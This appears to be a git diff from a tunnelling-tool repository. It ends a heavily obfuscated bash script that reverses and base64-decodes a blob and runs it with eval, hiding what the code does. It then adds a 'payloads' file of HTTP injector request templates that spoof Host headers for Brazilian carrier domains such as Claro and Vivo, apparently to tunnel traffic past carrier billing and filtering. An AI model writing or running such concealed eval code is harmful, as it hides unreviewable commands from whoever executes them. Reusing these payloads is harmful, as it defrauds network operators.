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 | r";ewsenkyepmDFxQALawxuBNEZXqOtAQMRmgcfYnUvOUrtaiwprCEELhLQYDwgWWTBmwIKxJnQiBFUtHoFpCHFfRJUiTqyHGfZFPIw="nfjwVXeVJZubtPUSRcUTAYcAdOgiwhqshwiabHnpiYTrJhDLmxgjNXjlKNSkhQgTyytzsoawlcozwgDzoniEMNQBuanzvjNFUkHx";vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV="";gAPAmflADtNEqjmahrRfMZsWfAXPdfsmmuRcJKGIFynxjieAqgLQzYRXtcsyVRBaJkjWYMVabkXHnRFpeAlrULjmzNLebNlTAEkZ="as";dVbagNIZKXBbvpNiWFfYOhHEhfHfwDknHeuBaqMQozfqjKJjqDlYgNhmmzpyQGRuQkHBBJheHciYNffJJdCkjaQHywwyjQGJZShg="wgxOuGfrVXCEuDGTVgjGJqUEQDwBSwSnoLZHxNdEPsunoPhsAOxxEpWRQvRvlvBZNXCHAlsBCfNRskpEaLXCOBGABfaBCKfNZsXk";iwkdhWSpDXcqgsYOdpoNgJiAEhQrMyknqZLkfAVPVEaapQEiPrOlSBdbFWsTVDwjCNMTtHDBJfOWHOfzkGMYKzoIABobeiDBcKMm="JWuaLtktbWRCDKfMvXGyaHYaGTdpekwXiGvAsZTHuakGDhBVkEWEbLAoZhadlriJSlHyBPZaPimieaHcaRGiuExgvDaNojDLlIHE";zwbCNtngCpJqhORCQSqbnXWJPdDnxNyJBLZhJuzrHsVmYWVAEwlSqaPWRnZAHdqlKCuQrpjDoSvUbZRFESGoDotBZSvfsKEPFRyR="o";PbUHlCwvYxgweTcLitxddYAnyICSdsDOLSNUAdNWRwVujapjZnsxnpejcThVoTBrnCsTbChbWywZawehcfehMhWIBTkFcVSXLGkn="6";TNYUbVrsYYVfxpXOpNtRYVzVirLfxHtILziQrrOtkhmfMzsShWtzpVVccAKfSMTlkpflMskUAGifGNhkGkdHPgGBJhiVLDCQpMUv="MQflEgPKNuzxVJOYyTelDHhrpFchzwBtEgKWmjOkaaKaCSDivMlylgQSkPAmNkDqLWoZdriIvGQRYbLuSFrNDYHuBwnHoXllHKpp";kBydRivsXhPgDRDIbvzAqHcrHWXTZVbPhBGgamdgsIIAeuvucPgJRanGSKpMtUqMhOBuZWnxnOSKVvJtNQpDZbdEDQxlJSdtCRAU=" -d";yFKygLoxSyvdCTnkhEgPTzkxEpiMdehKfhbapFCKIedpEUyQMJhaLvkrdxMLHIPGNOjETvfoOIJHMjyiAzCQRLXjvhrtvebwVeEI="BzbZJzndwxrVYRkeqZfvdPmjylsnKvNCXulXjcrpVGhYtSgqjGexLQyAIKCUJilcvpsTidWeNMddcBQZHrqwdPyEDYOGNXLMvjGS";cMEMWhhawmkWwCjaeNJoEFrRVxshesxpQDjUyJdGQsKZTyOgjxPdGAHRxYCRBZTSUYBznJCXBwxHInyzssTMyrKRhExijxjorayk="";bTkWhxfSDzUeSGZVdGutzzpMoJDthlyesyYbjinGvYCTLVmEMbUkhqfEBIabiqHqMIcAbirGqGqdNUIzGKGleIXcfbYjrYGVItvG="b";lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd="e";fuMbKEVKYXxOoiaDAdlKVITMAYSKzFewqMGFJsVmoMQhWNgBYkOFqKNRgyLHAzQfExqmohLmCjyOYfAWKeSiVjSQzadCvPehqsTQ="v |";Tx=Eds;tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK="";vujxGPnmYAOTAzbGXNuqinqhVnXBnwAtMzjDdTnVqirlbfgKPkSMKVeNmjjnJEXzctBHrrUhgocHPGMRQdurNNhnfFuuCmoeAKNB=$(eval "$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$pijZxaiwjpmXjiCMIZZjBHSsAEskbVtiQKOBpnvHsPCVbQTSYtbzjTUztMxRnGiRAwKoCXvojQogneSCBBXEoiJLwcKTwIibCyrq$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA$zwbCNtngCpJqhORCQSqbnXWJPdDnxNyJBLZhJuzrHsVmYWVAEwlSqaPWRnZAHdqlKCuQrpjDoSvUbZRFESGoDotBZSvfsKEPFRyR$LgpWSLiUJFYRDZDIhjtqfnBesrLlzUOlTRMokRjslqnHWdxOeSWYGxpLJUDyKXAoGJIQgDFoEGtkcOVCMLhXdGDIXRyWFHNEUDCJ$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$fuMbKEVKYXxOoiaDAdlKVITMAYSKzFewqMGFJsVmoMQhWNgBYkOFqKNRgyLHAzQfExqmohLmCjyOYfAWKeSiVjSQzadCvPehqsTQ$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$bTkWhxfSDzUeSGZVdGutzzpMoJDthlyesyYbjinGvYCTLVmEMbUkhqfEBIabiqHqMIcAbirGqGqdNUIzGKGleIXcfbYjrYGVItvG$tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK$gAPAmflADtNEqjmahrRfMZsWfAXPdfsmmuRcJKGIFynxjieAqgLQzYRXtcsyVRBaJkjWYMVabkXHnRFpeAlrULjmzNLebNlTAEkZ$lTlMaeIWPUDNpNfMJLKciCkYBxBgOUvzcjeTdrpNOmDjlOdUliONbQiXjyQEUltgJyumbNyFICwDJTHGvFjFTtWCXgjITcoMiJsd$PbUHlCwvYxgweTcLitxddYAnyICSdsDOLSNUAdNWRwVujapjZnsxnpejcThVoTBrnCsTbChbWywZawehcfehMhWIBTkFcVSXLGkn$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA$xOFLADFybNRqtIWElsIWGzPlBcBbeYkhviweHXcTCngkaWQkjyEwkyTWGzrHVMpjyhRwKRKJNwROvTUDYeyfoMUydGdOEbWSeAyn$kBydRivsXhPgDRDIbvzAqHcrHWXTZVbPhBGgamdgsIIAeuvucPgJRanGSKpMtUqMhOBuZWnxnOSKVvJtNQpDZbdEDQxlJSdtCRAU$tcdrXziryBZkchKbgKZJCINsTqkcBjTnpPaVJcOUYpnQTJrEyWyqVWvOsDMTHZIVupdujuPOOFNfTNJwDYLKspFOgpzgyCzGeODK");eval "$cMEMWhhawmkWwCjaeNJoEFrRVxshesxpQDjUyJdGQsKZTyOgjxPdGAHRxYCRBZTSUYBznJCXBwxHInyzssTMyrKRhExijxjorayk$vujxGPnmYAOTAzbGXNuqinqhVnXBnwAtMzjDdTnVqirlbfgKPkSMKVeNmjjnJEXzctBHrrUhgocHPGMRQdurNNhnfFuuCmoeAKNB$vTCampphzfrCBRMDpOLvxPYEoVmEFUpCmLwkVmQESZXVlUtjhDpoSEpRmpjuSPxxuQTDyNIImftlYHaFnEuwRHHJMgkqmEuxhMGV$QsODLqwEIHyEGvsbFXxhunLEKZjUHPrRaWplwannzmPMdaxdsXMMyOKtBRGRoyDibvTkvyQoSdyctGnfquSxfcgCOptYZeIrDPyA" \ No newline at end of file diff --git a/Lista/payloads b/Lista/payloads new file mode 100644 index 0000000..92df0d4 --- /dev/null +++ b/Lista/payloads @@ -0,0 +1,755 @@ +---------------------------------------------------------------------------- + + +[auth][auth]get http://ssh.proxy.ip/mhost/ +User-Agent: YES +[lf][raw][method] mhost:443 HTTP/1.1 +Proxy-Authorization: Keep-Alive +Connection: Close +[realData][crlf]get mhost/ HTTP/1.1[crlf]CONNECT mhost[crlf][crlf][delay_split][auth][auth][auth][auth]GET mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET mhost/ HTTP/1.1[crlf][method] ecob.claro.com.br[crlf][crlf][delay_split]get mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://ecob.claro.com.br/ HTTP/1.1 +User-Agent: YES +[lf][raw][method] mhost:443 HTTP/1.1 +Proxy-Authorization: Keep-Alive +Connection: Close +[realData][crlf]get mhost/ HTTP/1.1[crlf]CONNECT ecob.claro.com.br[crlf][crlf][delay_split] + +---------------------------------------------------------------------------- + + +[auth][auth][auth][auth]get http://mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]get http://mhost/mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/mhost/ HTTP/1.1[crlf][method] mhost[crlf][crlf][delay_split]GET http://mhost/ HTTP/1.1 +User-Agent: YES +[lf][raw][method] mhost:443 HTTP/1.1 +Proxy-Authorization: Keep-Alive +Connection: Close +[realData][crlf][auth][auth][auth][auth][auth][auth][auth][auth][auth][auth][auth][lf] + +---------------------------------------------------------------------------- + + +get http://mhost/ HTTP/1.1 +User-Agent: [ua][crlf][host][crlf][crlf][split]CONNECT ip da. Vps :443 HTTP/1.0[crlf][crlf]CONNECT mhost:443 HTTP/1.1[crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf]GET http://mhost/ HTTP/1.0 +Host: mhost +Proxy-Authorization: basic: mhost +User-Agent: [ua] +Connection: close +Proxy-Connection: Keep-Alive [crlf][host][crlf][crlf][split]CONNECT [host_port] HTTP/1.0[crlf][crlf][crlf]GET http://mhost/ HTTP/1.0[crlf]Host: mhost/[crlf][host][crlf][crlf]CONNECT [host_port] HTTP/1.0[crlf][crlf][realData][crlf][crlf][crlf] + + +---------------------------------------------------------------------------- + + + +[method] mhost:443 HTTP/1.1[lf]CONNECT [host_port] [protocol][lf][lf]GET http://mhost/ HTTP/1.1\nHost: mhost\nConnection: close\nConnection: close\nUser-Agent:[ua][lf]Proxy-Connection: Keep-Alive[lf][host][crlf][lf][delay_split]CONNECT [host_port] [protocol][lf][lf]CONNECT [host_port] [protocol][crlf][realData][crlf][crlf] + + +----------------------------------------------------------------------------- + +get http://mhost/ HTTP/1.1[lf]User-Agent: KDDI[lf][host][lf][lf][lf][raw]CONNECT [host_port] [protocol][lf]CONNECT [ssh] HTTP/1.1[lf]CONNECT [host_port] [protocol][lf][lf]DELETE http://mhost/HTTP/1.1[lf]Host: m.opera.com[lf]Proxy-Authorization: basic: *[lf]User-Agent: KDDI[lf]Connection: close[lf]Proxy-Connection: Direct[lf][host][lf][lf][raw]CONNECT [host_port] [protocol][lf][lf][lf][raw][method] http://mhost[port] HTTP/1.1[lf]Host: [auth][lf][host][lf][lf]CONNECT [host] [protocol][lf][lf][raw]CONNECT [host] [protocol][lf][lf] + + +----------------------------------------------------------------------------- + +get http://mhost HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][lf]__[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][lf]__[crlf][crlf][netData][crlf][instant_split]MOVE http://mhost[delay_split][lf]__[crlf]X-Online-Host: mhost[crlf]Packet Length: Authorization[crlf]Packet Content: Authorization[crlf]Transfer-Encoding: chunked[crlf]Referer: mhost[lf]__[crlf] + + +---------------------------------------------------------------------------- + + +[lf][lf]CONNECT [host_port]@mhost [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][lf][host]@mhost [protocol][crlf][crlf] + + + +---------------------------------------------------------------------------- + + +[immutable][method] [host_port] [delay_split]GET http://mhost HTTP/1.1[netData][crlf]HTTP:mip:80[crlf]X-GreenArrow-MtaID: smtp1-1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.0[crlf][split]CONNECT http://mhost/ HTTP/1.1[crlf]CONNECT http://mhost/ HTTP/1.1[crlf][crlf] + + +----------------------------------------------------------------------------- + +[method] [host_port]?[split]GET http://mhost:8080/[crlf][crlf]get [host_port]?[split]OPTIONS http://mhost/[crlf]Connection: Keep-Alive[crlf]User-Agent: Mozilla/5.0 (Android; Mobile; rv:35.0) Gecko/35.0 Firefox/35.0[crlf]CONNECT [host_port] [crlf]GET [host_port]?[split]get http://mhost/[crlf][crlf][method] mip:80[split]GET mhost/[crlf][crlf]: Cache-Control:no-store,no-cache,must-revalidate,post-check=0,pre-check=0[crlf]Connection:close[crlf]CONNECT [host_port]?[split]GET http://mhost:/[crlf][crlf]POST [host_port]?[split]GET +mhost:/[crlf]Content-Length: 999999999\r\n\r\n + +----------------------------------------------------------------------------- +CONNECT [host_port] [protocol][crlf][delay_split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Referer: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port]GET http://mhost/ [protocol][lf][split]get mhost/ HTTP/1.1[lf][lf] + +----------------------------------------------------------------------------- + +CONNECT [host_port]get http://mhost/ [protocol][lf][split]GET http://mhost/ HTTP/1.1[lf]Host: navegue.vivo.ddivulga.com/pacote[lf][host_port]get http://mhost/ [protocol][lf][split]GET http://mhost/ HTTP/1.1[lf]Host: mhost[lf][host_port]GET http://mhost/ [protocol][lf][split]get http://mhost/ HTTP/1.1[lf]Host: mhost[lf][host_port]GET http://mhost/ [protocol][lf][split]get http://mhost/ HTTP/1.1[lf]Host: mhost[lf][host_port]GET http://mhost/ [protocol][lf][split]CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost/[crlf]GET mhost/ HTTP/1.1[crlf]HEAD mhost HTTP/1.1[crlf]TRACE mhost HTTP/1.1[crlf]OPTIONS mhost HTTP/1.1[crlf]PATCH mhost/ HTTP/1.1[crlf]PROPATCH mhost/ HTTP/1.1[crlf]DELETE mhost HTTP/1.1[crlf]PUT mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port][split]get http://mhost HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf] + +----------------------------------------------------------------------------- + +CONNECT [host_port][split]get mhost/ HTTP/1.1[crlf] [crlf][immutable] + + +----------------------------------------------------------------------------- + +CONNECT [host_port] [split]get http://mhost/ EHTTP/1.1 200 OK[crlf]HTTP Host: speedtest.net;m.whatsapp.com;sonymobile.com.br;caixa.sp.gov;mhost.co.id;vivo.com.br;[crlf]Forwarded-For: m.whatsapp.com/speedtest.bet[crlf]Connection: Keep-Alive[crlf][crlf][raw][crlf][instant_split]get http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Online-Host: mhost[crlf]ping-server: www.google.com[crlf]Connection: Close[crlf]Bandwith-Speed: 10GBps,lock,Keep-Alive[crlf]User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)[crlf][crlf]ping m.facebook.com[crlf]Content-Type: text/html; charset=utf-8X-[crlf]Content-Type: OptionsnosniffAccess-Control-Allow-Credentialstrueaccess-control-allow[split][method] OPTIONSExpiresSat, 01 Jan 2000 00:00:00 GMT0„2(6317d ago)X-FB-Debug1d4XXullTOxJZaZVk8PkrdpTcsyCcqDpHzZ6bFycC+ELii5hc8/lFzWhQ98EO/Cq2VJDnK2l5VTKEJISC++PbQ[crlf]Connection: close[crlf]Connection: Keep-Alive[crlf]Content-Length: 999999999999[crlf][crlf] + + +----------------------------------------------------------------------------- + +CONNECT [host_port]@mhost [instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: 